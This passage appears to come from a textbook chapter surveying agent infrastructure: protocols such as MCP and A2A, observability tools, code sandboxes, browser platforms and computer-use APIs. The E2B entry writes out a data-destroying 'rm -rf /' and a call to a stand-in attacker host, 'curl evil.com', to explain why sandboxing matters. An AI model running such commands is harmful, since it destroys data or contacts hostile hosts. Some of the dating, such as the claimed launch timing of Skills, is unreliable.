Platforms

Agentic systems run on top of LLM API platforms (Chapter 16) plus a new layer: agent-native protocols and runtimes that did not exist as standardized infrastructure before 2024.

30.1.1 Agent-native protocols

• Model Context Protocol (MCP) (Anthropic, 2024) is the open protocol that standardized how LLMs discover and call external tools, resources, and prompts. Its objective is to eliminate the per-framework tool-registration formats that fragmented the agent ecosystem, which mattered because before MCP you had to re-implement the same database tool five times for five different agent frameworks. The core concept is a JSON-RPC server contract: tools expose their schema once, any MCP-compatible client (Claude Desktop, Cursor, ChatGPT, Gemini) can call them. As of 2026 it is supported by every major LLM client; treat MCP as the default for new tool development.
• Agent2Agent (A2A) (Google + 50+ partners, 2025) is the open protocol for agent-to-agent communication, complementary rather than competitive with MCP. Its objective is to let agents from different vendors discover and delegate work to each other without a central orchestrator, which matters when you want a procurement agent (one company) to invoke a logistics agent (another company). The core concept is agent capability cards plus a structured message protocol over HTTP/SSE; think of it as "DNS for agents". Pick A2A when you need cross-vendor agent composition; for tool calls within a single agent, MCP is the right primitive.
• AG-UI (CopilotKit, 2024) is the protocol for agent-to-human-interface communication, defining how an agent streams structured UI updates back to a frontend. Its objective is to standardize the streaming events agents emit so any compliant frontend can render any compliant agent's outputs, which matters when you want to swap chatbots in and out of the same UI. The core concept is a typed event stream (text deltas, tool calls, generative UI, intermediate plans) that the frontend interprets. Pick AG-UI when building rich-UI agent apps; for plain text chat, you do not need it.
• OpenAI Agents SDK (OpenAI, 2025) is the official OpenAI agent runtime that supersedes the older Assistants API. Its objective is to provide first-party agent primitives (tools, handoffs, guardrails, sessions) on top of the Responses API, which matters when you want to build agents on OpenAI without depending on a third-party framework. The core concept is the Agent class with built-in MCP support, parallel tool calls, and structured handoffs to sub-agents. Pick when your stack is OpenAI-centric; for cross-vendor portability, frameworks like LangGraph or PydanticAI are looser couplings.

30.1.2 Agent platforms

• LangSmith (LangChain Inc., 2023) is the agent-observability SaaS from the LangChain team, providing tracing, eval, and prompt management. Its objective is to make agent runs debuggable by showing every LLM call, tool call, and intermediate state in a hierarchical trace, which matters because agent failures cross many layers and console.log does not scale. The core concept is the Trace tree (a root run with nested child runs) plus dataset-driven eval and prompt playgrounds. Pick LangSmith if you use LangChain or LangGraph; for non-LangChain agents, Langfuse or Helicone are framework-agnostic alternatives.
• Helicone and Langfuse (2023) are open-source LLM and agent observability platforms with both managed and self-hosted deployment. Their objective is to provide LangSmith-shaped tracing without LangChain lock-in or for teams that need self-hosting, which matters when you want vendor-neutral observability or data-residency control. The core concept is the same Trace tree primitive plus session-level analytics, cost tracking, and eval datasets; Langfuse leans more on the eval side, Helicone more on the analytics side. Pick Langfuse for evaluation-heavy workloads, Helicone for cost-and-usage analytics; for LangChain-native shops, LangSmith remains the smoother integration.
• AgentOps and AgentNeo: agent-specific observability platforms that go beyond the generic LangSmith-style tracing to surface agent-loop metrics (tool-call success rates, step latencies, retry patterns) as first-class concepts.
• E2B (E2B, 2023) is the managed sandboxed code-execution environment for agent code interpreters, running each code-call inside an isolated Firecracker VM. Its objective is to make "let the agent run arbitrary Python" safe by isolating it from your infrastructure, which matters because a code-interpreting agent will eventually run rm -rf / or os.system("curl evil.com"). The core concept is per-call ephemeral sandboxes that destruct at the end of the run; persistence is opt-in via persistent volumes. Pick E2B for any agent that runs untrusted code; rolling your own Docker sandbox is a security mistake most teams cannot afford.
• Modal (Modal Labs, 2021) is the serverless Python compute platform that doubles as an agent tool-execution backend. Its objective is to make agent tool calls (Python functions, GPU jobs, container images) executable in 200 ms cold-starts without you managing a Kubernetes cluster, which matters when your agent's tools have heterogeneous compute requirements (some CPU, some GPU, some need a specific Conda environment). The core concept is decorator-based function deployment with first-class GPU access. Pick Modal when your agent needs to invoke arbitrary Python with mixed compute profiles; for pure code-interpreter sandboxing, E2B is more focused.
• Daytona (2024): dev-environment sandboxing platform; alternative to E2B for code agents that need a persistent VS-Code-shaped environment rather than ephemeral notebook execution.
• Coder Workspaces and devcontainers.dev: also used as agent sandboxes, particularly when the agent must operate inside a developer-shaped environment.
• Cloudflare Containers (2025): edge agent sandboxes; low-latency execution close to users.
• Browserbase (Browserbase, 2024) is the managed browser-instance platform for web-browsing and computer-use agents. Its objective is to provide always-available, instrumented browser sessions with stealth fingerprinting and persistent contexts, which matters because running Playwright at scale yourself means battling captchas, fingerprint detection, and proxy management. The core concept is per-session ephemeral or persistent browser contexts, each with a remote DevTools endpoint. Pick Browserbase when your agent uses a browser; for one-off scripts, plain Playwright remains adequate.

30.1.2.5 Computer-Use APIs and the platform race

The 2024-25 platform race for "agent that drives a real computer" is worth treating as its own category, because the platform you pick locks you into a vendor lineage. Anthropic's Computer Use API (Oct 2024) was the first GA frontier model with screenshot-and-control loop integration. OpenAI Operator / Computer Use Agent (Jan 2025) is OpenAI's competing platform. Google's Project Mariner and Project Astra demos extend the same pattern to long-running browser tasks. The platform categorization that matters in 2026: OS-level (Anthropic CU runs anywhere a screenshot can be taken), browser-level (Operator and Mariner target the browser specifically), and API-level (agent calls structured APIs only, no UI). The Operator launch (Jan 2025) and the simultaneous Anthropic Skills system are the two case-study events that grounded the agent-platform race.

Skills (Anthropic, 2024-25) are an MCP-adjacent abstraction: a Skill is a self-contained directory of instructions, code, and resources that an agent can dynamically load when it recognizes a relevant task. Treat skills as the agent-side complement to MCP's tool registry. The community is consolidating around two registries: mcp.so and glama.ai/mcp, both of which index publicly-available MCP servers.

30.1.3 Comparing the platforms